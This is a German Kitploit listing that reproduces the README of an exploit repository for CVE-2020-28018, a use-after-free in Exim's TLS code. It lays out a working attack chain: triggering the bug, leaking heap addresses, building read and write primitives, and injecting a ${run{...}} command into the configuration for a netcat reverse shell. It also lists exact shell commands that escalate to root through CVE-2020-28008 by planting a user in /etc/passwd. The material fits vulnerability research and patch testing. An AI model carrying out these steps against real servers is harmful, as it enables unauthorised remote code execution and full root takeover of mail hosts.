Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2020-28018 — exim Use-After-Free-Exploit und Erkennung | Kitploit
Tools/GitHubGitHub/dorkerdevil/cve-2020-28018
Privilege EscalationSpeicherforensikSchwachstellenanalyseExploitationRemote-Access-ToolPayload-EntwicklungBinary-Exploitation
GitHubdorkerdevil/cve-2020-28018

CVE-2020-28018

exim Use-After-Free-Exploit und Erkennung

Repository anzeigen
71vor 5 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2020-28018: Exim Use-After-Free (UAF) mit RCE-Folge

Einleitung

Es existiert eine Use-After-Free (UAF)-Schwachstelle in tls-openssl.c, die es entfernten, nicht authentifizierten Angreifern ermöglicht, interne Speicherdaten zu korrumpieren und schließlich eine entfernte Codeausführung (Remote Code Execution, RCE) zu erreichen.

Primitive:

  • Speicherleck (Memory Leak)
  • Beliebiges Lesen (Arbitrary Read Primitive)
  • Schreiben-an-beliebiger-Stelle (Write-What-Where Primitive)

Durch die Verkettung all dieser Primitive ist es möglich, alle verfügbaren Exploit-Mitigations vollständig zu umgehen und schließlich eine entfernte Codeausführung als der Exim-Benutzer zu erreichen.

Diese Schwachstelle wurde zusammen mit einer großen Liste weiterer Schwachstellen veröffentlicht. Der offizielle Qualys-Bericht verkettet den Use-After-Free mit CVE-2020-28008, um eine lokale Privilegienerweiterung (Local Privilege Escalation, LPE) durchzuführen, nachdem RCE erreicht wurde.

Voraussetzungen

Exim muss wie folgt konfiguriert/kompiliert sein:

  • TLS ist aktiviert
  • OpenSSL wird verwendet (anstelle von GnuTLS)
  • Exim ist eine der verwundbaren Versionen
  • X_PIPE_CONNECT ist deaktiviert

Sie können das Skript checker.py verwenden, um zu prüfen, ob ein entfernter Server eine verwundbare Version hat und einige notwendige Voraussetzungen für die Ausnutzbarkeit erfüllt.

[!] checker.py löst die Schwachstelle NICHT aus, sondern prüft lediglich auf eine verwundbare Version und ob PIPELINING und TLS aktiviert sind. Das bedeutet, dass dieses Prüfprogramm nicht auf den Patch prüft, was zu Fehlalarmen führen kann.

Verwundbarer Code

Wie bereits bekannt, befindet sich die Schwachstelle in tls-openssl.c.

root@kitploit:~
/*************************************************
*         Write bytes down TLS channel           *
*************************************************/

/*
Arguments:
  ct_ctx    client context pointer, or NULL for the one global server context
  buff      buffer of data
  len       number of bytes
  more	    further data expected soon

Returns:    the number of bytes after a successful write,
            -1 after a failed write

Used by both server-side and client-side TLS.
*/

int
tls_write(void * ct_ctx, const uschar *buff, size_t len, BOOL more)
{
int outbytes, error, left;
SSL * ssl = ct_ctx ? ((exim_openssl_client_tls_ctx *)ct_ctx)->ssl : server_ssl;
static gstring * corked = NULL;

DEBUG(D_tls) debug_printf("%s(%p, %lu%s)\n", __FUNCTION__,
  buff, (unsigned long)len, more ? ", more" : "");

/* Lacking a CORK or MSG_MORE facility (such as GnuTLS has) we copy data when
"more" is notified.  This hack is only ok if small amounts are involved AND only
one stream does it, in one context (i.e. no store reset).  Currently it is used
for the responses to the received SMTP MAIL , RCPT, DATA sequence, only. */
/*XXX + if PIPE_COMMAND, banner & ehlo-resp for smmtp-on-connect. Suspect there's
a store reset there. */

if (!ct_ctx && (more || corked))
  {
#ifdef EXPERIMENTAL_PIPE_CONNECT
  int save_pool = store_pool;
  store_pool = POOL_PERM;
#endif

  corked = string_catn(corked, buff, len);

#ifdef EXPERIMENTAL_PIPE_CONNECT
  store_pool = save_pool;
#endif

  if (more)
    return len;
  buff = CUS corked->s;
  len = corked->ptr;
  corked = NULL;
  }

for (left = len; left > 0;)
  {
  DEBUG(D_tls) debug_printf("SSL_write(%p, %p, %d)\n", ssl, buff, left);
  outbytes = SSL_write(ssl, CS buff, left);
  error = SSL_get_error(ssl, outbytes);
  DEBUG(D_tls) debug_printf("outbytes=%d error=%d\n", outbytes, error);
  switch (error)
    {
    case SSL_ERROR_SSL:
      ERR_error_string_n(ERR_get_error(), ssl_errstring, sizeof(ssl_errstring));
      log_write(0, LOG_MAIN, "TLS error (SSL_write): %s", ssl_errstring);
      return -1;

    case SSL_ERROR_NONE:
      left -= outbytes;
      buff += outbytes;
      break;

    case SSL_ERROR_ZERO_RETURN:
      log_write(0, LOG_MAIN, "SSL channel closed on write");
      return -1;

    case SSL_ERROR_SYSCALL:
      log_write(0, LOG_MAIN, "SSL_write: (from %s) syscall: %s",
	sender_fullhost ? sender_fullhost : US"<unknown>",
	strerror(errno));
      return -1;

    default:
      log_write(0, LOG_MAIN, "SSL_write error %d", error);
      return -1;
    }
  }
return len;
}

smtp_setup_msg() ist die Hauptfunktion, die das Lesen von Nachrichten vom Client durchführt.

In bestimmten Situationen wird smtp_reset() aufgerufen, das eine Bereinigung aller Puffer und Werte durchführt.

Dies kann in Situationen wie den folgenden passieren:

  • HELO/EHLO wird empfangen
  • STARTTLS wird empfangen
  • RSET wird empfangen
  • Beim Start von smtp_setup_msg()

Am Ende von smtp_reset() wird ein Aufruf von store_reset() durchgeführt.

store_reset ist ein Makro, das die Funktion store_reset_3() umschließt.

Die Store-Funktionen sind lediglich Funktionen, die den dynamischen Speicher verwalten.

Exim verwendet einen Pool-Allokator für Blöcke, die von malloc empfangen werden.

Es gibt auch eine interessante Funktionalität: eine implementierung von wachsenden Strings (growable string).

gstring-Struktur:

root@kitploit:~
typedef struct gstring {
  int   size;           /* Current capacity of string memory */
  int   ptr;            /* Offset at which to append further chars */
  uschar * s;           /* The string memory */
} gstring;

Wenn mehr Platz zum Verketten eines neuen Strings benötigt wird, wird gstring_grow() aufgerufen.

Diese Funktion versucht zunächst, store_extend_3() aufzurufen, das versucht, den Speicher innerhalb des gleichen Pool-Blocks zu erweitern.

Dies kann nützlich sein, wenn die Länge der Eingabe unbekannt ist, aber wenn nach dem zu erweiternden Speicher mehr Speicher allokiert wurde, kann eine Erweiterung nicht durchgeführt werden.

Dann ruft gstring_grow() store_newblock_3() auf, das einfach neuen Speicher zurückgibt und die bereits vorhandenen Bytes vom alten in den neuen Speicher kopiert.

Dann wird der Zeiger g->s von gstring_catn() wiederhergestellt.

In der Funktion tls_write() sehen wir einen BOOL namens more.

Er gibt an, ob noch mehr Daten in den String-Puffer kopiert werden müssen, bevor die Daten an den Benutzer zurückgegeben werden.

Wenn ja, wird der Zeiger nicht auf NULL gesetzt.

Wenn nicht, werden die im String-Puffer enthaltenen Daten an den Benutzer zurückgegeben.

Diese Funktionalität eröffnet einige interessante Wege, einen Use-After-Free auszulösen.

Zunächst wird der Zeiger auf die gstring-Struktur in einer statischen Variable gespeichert. Das bedeutet, dass wir ihn bei zukünftigen Aufrufen von tls_write() verwenden können.

Wie können wir den Puffer freigeben und ihn dann trotzdem nutzen?

Wir müssen erreichen, dass smtp_setup_msg() smtp_reset() aufruft, nachdem sich einer unserer Puffer noch in server_corked befindet (nicht auf NULL gesetzt).

Nach dem Zurücksetzen wird der Zeiger, wenn wir tls_write() irgendwie aufrufen, immer noch vorhanden sein, sodass wir ihn nutzen können, nachdem der Speicher freigegeben wurde.

smtp_reset() gibt den gesamten Speicher von POOL_MAIN frei, in dem sich unser Puffer befindet.

Auslösen des Use-After-Free

Um den Use-After-Free zu kontrollieren, müssen wir zunächst eine neue Verbindung initialisieren.

Da wir tls_write() ausnutzen wollen, müssen wir zuerst eine neue TLS-Sitzung starten.

Also senden wir zuerst einen EHLO-Befehl, gefolgt von einem STARTTLS, um die TLS-Verbindung zu starten.

Um dann more auf 1 zu setzen, pipelinieren wir einen Befehl, und der letzte wird die Hälfte eines NOOP sein.

Wir schließen die TLS-Verbindung und senden den Rest des NOOP-Befehls.

Wir senden erneut EHLO, was dazu führt, dass smtp_reset aufgerufen wird und unseren Puffer freigibt.

Jetzt müssen wir eine weitere TLS-Verbindung starten, um tls_write() wieder nutzen zu können.

Wir senden STARTTLS.

Jetzt führt das Senden eines beliebigen Befehls an den Server dazu, dass tls_write() aufgerufen wird, um eine Antwort zurückzugeben.

Aber... server_corked enthält immer noch einen Zeiger auf eine Stelle im freigegebenen Speicher.

Und diese Daten könnten von anderen Funktionen verwendet werden, da sie freigegeben sind... unsere gstring-Struktur wird daher mit zufälligen Binärdaten korrumpiert.

Dies ist das Ergebnis des Auslösens des UAF:

root@kitploit:~
gef➤  p *corked
$1 = {
  size = 0x54595c9c, 
  ptr = 0xa7e800ba, 
  s = 0x7e35043433160bd3 <error: Cannot access memory at address 0x7e35043433160bd3>
}
gef➤  p corked
$2 = (gstring *) 0x555ad3be1b58
gef➤  

Diese Struktur liegt genau so vor, wenn wir tls_write() für unseren Befehl nach dem STARTTLS betreten.

Offensichtlich führt der Versuch, auf corked->s zuzugreifen, zu einem SIGSEGV-Interrupt.

Exploitation

Wie von Qualys erwähnt, verwenden sie drei Schritte, um die Schwachstelle auszunutzen:

  1. Da der Speicher bereits frei ist, können wir Exim dazu bringen, Heap-Zeiger von Strukturen wie header_line in unseren Puffer zu schreiben. Wenn dann tls_write() aufgerufen wird, werden diese Daten an den Benutzer zurückgegeben. Auf diese Weise haben wir ein Speicherleck, um unsere Exploitation fortzusetzen.
  2. Sobald wir die Heap-Speicheradressen kennen, können wir ein beliebiges Leseprimitiv (Arbitrary Read) erstellen, um den Heap zu durchsuchen, bis wir die Exim-Konfiguration finden.
  3. Der letzte Schritt ist die Erstellung eines Schreib-an-beliebiger-Stelle-Primitivs (Write-What-Where). Auf diese Weise können wir eine benutzerdefinierte Konfiguration in den in Schritt 2 gefundenen Puffer injizieren. Wir können ${run{<Befehl>}} injizieren, wobei <Befehl> jeder Befehl ist, den der Angreifer ausführen möchte, z. B. eine Reverse Shell mit netcat. Diese Konfiguration wird von string_expand() interpretiert und führt letztendlich zur Ausführung des Befehls.

Kontrolle der Use-After-Free-Bedingung

Gut, wir konnten den Use-After-Free auslösen.

Jetzt müssen wir die Kontrolle über den UAF erlangen, um unsere Primitive erfolgreich und zuverlässig erstellen zu können.

Leider wird unser Block, nachdem die Puffer von POOL_MAIN freigegeben wurden, direkt an free() übergeben.

Das bedeutet, dass auf den Speicher nicht nur über store_get_3() oder store_newblock_3() zugegriffen wird, sondern von jeder Funktion, die malloc() verwendet ... wie CRYPTO_zalloc() und viele mehr.

In diesem Fall wird irgendwo in tls_server_start() Speicher über malloc() angefordert.

Dann werden einige Binärdaten hineinkopiert, wodurch unsere gstring-Struktur korrumpiert wird.

Wir brauchen einen Weg, dies zu verhindern, damit wir tls_write() mit einer intakten gstring-Struktur erreichen, die auf eine gültige Speicheradresse zeigt, sonst wird ein SIGSEGV-Interrupt ausgelöst.

Nachdem wir verstanden haben, wie der Exim-Pool-Allokator funktioniert, und nach Debugging und Tests mit verschiedenen Befehlen, um ihr Verhalten auf der Heap-Seite zu sehen, können wir schließlich vermeiden, dass diese Daten in unsere gstring-Struktur geschrieben werden.

Speicherleck

Sobald wir einen erfolgreichen Use-After-Free ausgelöst haben und keine Probleme mit unserer korrumpierten Struktur haben, müssen wir versuchen, den Heap so zu verschieben, dass eine Funktion eine Heap-Adresse in die Mitte unseres Strings schreibt (an eine beliebige Position vor g->ptr).

Wir haben Glück, denn die Antworten sind, obwohl sie Klartext sind (kein binäres Protokoll), erlauben es uns, NULL-Bytes zurück an den Client zu senden.

Warum passiert das?

Antworten werden mit SSL_write() zurückgesendet, das keine Probleme mit NULL-Bytes hat.

Was ist mit Strings? string_catn() schneidet NULL-Bytes nicht ab, da es memcpy zum Kopieren der Daten verwendet.

Der einzige Weg, eine Grenze zu setzen, ist über g->ptr, aber da die Adresse vor dem Index g->ptr geschrieben wird, werden alle Daten bis dahin an uns zurückgegeben, wodurch wertvolle Heap-Adressen preisgegeben werden.

Ergebnis des Speicherlecks mit dem PoC:

Memory Leak

Beliebiges Lesen (Arbitrary Read)

Jetzt haben wir die Heap-Basis aufgedeckt ...

Und ... die Adressen ändern sich zwischen den Verbindungen nicht ... also können wir jetzt den Weg zur RCE beginnen.

Aber ... wie überschreiben wir die gstring-Struktur?

Es stellte sich als ziemlich einfach heraus, indem wir die Qualys-Technik verwenden.

ESMTP hat dem SMTP-Protokoll einige Dinge hinzugefügt, wie Parameter für MAIL FROM-Befehle.

Die Verwendung eines großen Parameters nach dem letzten STARTTLS reicht aus, um die Struktur zu überschreiben :)

Ergebnis:

root@kitploit:~
gef➤  p *corked
$1 = {
  size = 0x42424242, 
  ptr = 0x42424242, 
  s = 0x4242424242424242 <error: Cannot access memory at address 0x4242424242424242>
}

Vollständige Kontrolle über die gstring-Struktur.

Jetzt ist es Zeit, unser beliebiges Leseprimitiv zu erstellen.

Anscheinend ist es einfach ... überschreibe g->size und g->ptr mit einem großen Wert.

Dann überschreibe g->s mit der Speicheradresse, von der wir lesen möchten.

Sobald der Befehl beendet ist, wird tls_write() aufgerufen, um Daten an den Benutzer zurückzugeben.

Da der String-Puffer-Zeiger korrumpiert ist und auf eine beliebige Stelle des Angreifers zeigt, werden die Daten von dieser Stelle zurückgegeben.

Wir könnten nun eine Funktion implementieren, die die Chunks durchläuft und liest und versucht, Schlüsselwörter zu finden, die uns erkennen lassen, ob der Chunk die Exim-Konfiguration enthält. Wenn ja, fahren wir mit dem letzten Schritt fort.

Die von mir implementierte Funktion iteriert jede READ_SZ-Länge entlang des Heaps von der Heap-Basis aus.

root@kitploit:~
	[+] Leaked heap address = 0x55c846683d90
	[+] Leaked heap_base = 0x55c8465f4000

[*] Searching for Exim configuration in memory...

[+] Config found at: 0x55c8465f6328

Sobald etwas gefunden wurde, fahren wir mit dem letzten Schritt fort.

Schreiben-an-beliebiger-Stelle (Write-What-Where)

Gut! Wir kennen die Heap-Basis-Adresse. Und noch interessanter ... wir wissen, wo sich die Exim-Konfiguration befindet!

Jetzt ist es Zeit für RCE, oder? :P

Wir müssen (irgendwie) die Exim-Konfiguration überschreiben und ${run{<Befehl>}} injizieren. Wenn dann string_expand() ausgeführt wird, wird unser Befehl interpretiert, und wir erhalten schließlich eine beliebige Befehlsausführung.

Der einfachste Weg, RCE zu erreichen, ist die Verwendung von netcat. Die Verwendung von nc im Befehl würde uns eine Shell geben.

Aber ... wie können wir ein solches Schreib-an-beliebiger-Stelle-Primitiv erstellen?

Wir müssen zuerst (wie beim beliebigen Leseprimitiv) die gstring-Struktur überschreiben.

Sobald wir die Kontrolle darüber haben, können wir zuerst g->s auf die Stelle setzen, an die wir schreiben möchten, in diesem Fall die Adresse der Exim-Konfiguration.

Dann wird bei der nächsten Antwort, die in den Puffer geschrieben werden soll, die Antwort dorthin geschrieben, wo g->s zeigt :)

Aber ... wie können wir die gstring-Struktur korrumpieren und gleichzeitig eine beliebige Antwort erhalten?

Qualys hat dies im Advisory nicht sehr klar dargestellt.

Wir müssen einen MAIL FROM-Befehl dazu bringen, beliebige Daten zurückzugeben.

Nach einigen Versuchen dachte ich, die beste Lösung sei eine Fehlermeldung.

Wir können ADDR - strlen("501 ") wählen.

Diese vier Bytes korrumpieren also nicht unser Ziel.

Wie können wir MAIL FROM zum Scheitern bringen? Ich verwende einen falschen Absender. Da der Absender eine Domain erfordert, wird die Fehlermeldung, wenn keine Domain angegeben wird, die vom Client gesendeten Daten enthalten.

Aber es gibt ein Problem damit. Da wir NULLs senden, wird stattdessen diese Meldung zurückgegeben: "501 NUL characters are not allowed in SMTP commands".

Es gibt also immer noch keine Möglichkeit, die Ausgabe zu kontrollieren, da wir NULLs in der Anfrage benötigen.

Wir können nicht einfach einen weiteren MAIL FROM senden, um Antworten zu korrumpieren, aus dem einfachen Grund, dass, sobald wir den UAF auslösen, more=0 ist und kein Zugriff auf den freigegebenen Puffer besteht.

Aber von handle_smtp_call() aus, wenn wir DATA senden, receive_msg(). Wir können es austricksen, den aktuellen Pool nicht wiederherzustellen, sodass wir den Heap ein wenig manipulieren können, um den freigegebenen Puffer zu überschreiben.

Sobald wir ihn überschrieben haben, senden wir einen MAIL FROM mit ungültigen Daten, der mit einem gültigen pipelineiert ist. Die Antwort wird in den s-Zeiger geschrieben.

Remote Code Execution

Sobald wir das Schreiben-an-beliebiger-Stelle erreicht haben, hatte ich Probleme mit netcat direkt, da einige Anforderungen an die Anzahl der Argumente gestellt wurden. Also habe ich folgendes gemacht: /bin/sh -c '<nc-Befehl hier>'.

Ich habe die MAIL FROM ACL überschrieben, sodass das Pipelinieren eines zweiten MAIL FROM dazu führt, dass expand_cstring() aufgerufen wird, und schließlich wird mein beliebiger Befehl ausgeführt.

Dies ist ein Screenshot, sobald ich eine Shell mit dem Exploit erhalte:

RCE_CAP

Verkettung mit CVE-2020-28008 LPE

root@kitploit:~
$ /bin/bash
$ cd /var/spool/exim4/db
$ rm -f retry*
$ ln -s -f /etc/passwd retry.passwd
$ /usr/sbin/exim4 -odf -oep postmaster < /dev/null
$ # creds => pwner:pwner
$ echo 'pwner:$6$4KB5snZ5jevx6TFa$VNdvb49sUfHhAQeKCkbpGVDnHUbnNfbpFh.QVjwIqvGlYsyKp8yoYrAfNDcG0XdtoQ2vT9LQPLml6XmCaVCOX/:18757:0:99999:7:::' >> /etc/passwd
$ su -l pwner
 * Enter pass: pwner *
# id
uid=0(root) gid=0(root) groups=0(root)
#

Systeminformationen

Die Tests wurden auf einem Debian durchgeführt:

root@kitploit:~
root@research:~# lsb_release -a
No LSB modules are available.
Distributor ID:	Debian
Description:	Debian GNU/Linux 10 (buster)
Release:	10
Codename:	buster

Mit der Exim-Version:

root@kitploit:~
root@research:~# exim --version
Exim version 4.92 #7 built 06-May-2021 19:31:44
Copyright (c) University of Cambridge, 1995 - 2018
(c) The Exim Maintainers and contributors in ACKNOWLEDGMENTS file, 2007 - 2018
Berkeley DB: Berkeley DB 5.3.28: (September  9, 2013)
Support for: crypteq iconv() OpenSSL DANE DKIM DNSSEC Event OCSP PRDR TCP_Fast_Open
Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmjz dbmnz dnsdb passwd
Authenticators: cram_md5 plaintext
Routers: accept dnslookup ipliteral manualroute queryprogram redirect
Transports: appendfile/maildir/mailstore autoreply lmtp pipe smtp
Fixed never_users: 0
Configure owner: 0:0
Size of off_t: 8
Configuration file is /var/lib/exim4/config.autogenerated

Meine Exim-Version ist selbst kompiliert, aber die Kompilierungsflags der Mainstream-Version auf Debian wurden repliziert.

Die Konfiguration ist die gleiche wie die Debian-Standardkonfiguration, möglicherweise mit einigen geringfügigen Änderungen.

Einrichtung der Umgebung

In diesem Repository gibt es ein Verzeichnis namens exim-4.92. Es enthält den Quellcode von Exim.

Installieren Sie zuerst Exim mit dem apt-Paketmanager.

Laden Sie das Exim-Verzeichnis und das Config-Verzeichnis auf die Maschine herunter.

Kopieren Sie zuerst config/Makefile nach exim-4.92/Local. Kopieren Sie dann config/eximon.conf nach exim-4.92/Local.

Führen Sie nun make aus. Es wird ein Verzeichnis build-linux-* erstellt. Wechseln Sie in dieses Verzeichnis und ersetzen Sie alle Vorkommen von "-O2" durch "-O0".

Machen Sie das Gleiche im Verzeichnis OS/. Fügen Sie schließlich im Verzeichnis build-linux-* der Variable CFLAGS die Option -g hinzu.

Es wird empfohlen, die libc- und Exim-Quellen zu gdb hinzuzufügen.

Führen Sie nun make und make install aus.

cp /usr/exim/bin/* /usr/sbin/ cp /usr/sbin/exim /usr/sbin/exim4

Ich habe dieses Skript zum Generieren von Zertifikaten verwendet: https://github.com/volumio/RootFS/blob/master/usr/share/doc/exim4-base/examples/exim-gencert

Aktivieren Sie schließlich TLS in der Exim4-Konfiguration unter /etc/exim4 und verwenden Sie die /etc/exim4/exim.crt- und /etc/exim4/exim.key-Dateien, die vom Bash-Skript generiert wurden.

Abschließend: sudo update-exim4.conf && systemctl restart exim4

Überprüfen Sie mit systemctl status exim4, ob alles in Ordnung ist.

Wenn Sie nach dem Versuch von STARTTLS eine Fehlermeldung "TLS not currently available" erhalten, überprüfen Sie die Exim4-Protokolle.

Ich hatte ein Problem, weil der für die Zertifikate verwendete Schlüssel zu kurz war. Ändern Sie daher die Schlüsselbits im zuvor erwähnten gencert-Skript (ich verwende 4096).

Weitere Informationen

Für weitere Informationen besuchen Sie das offizielle Qualys Advisory

Tool herunterladen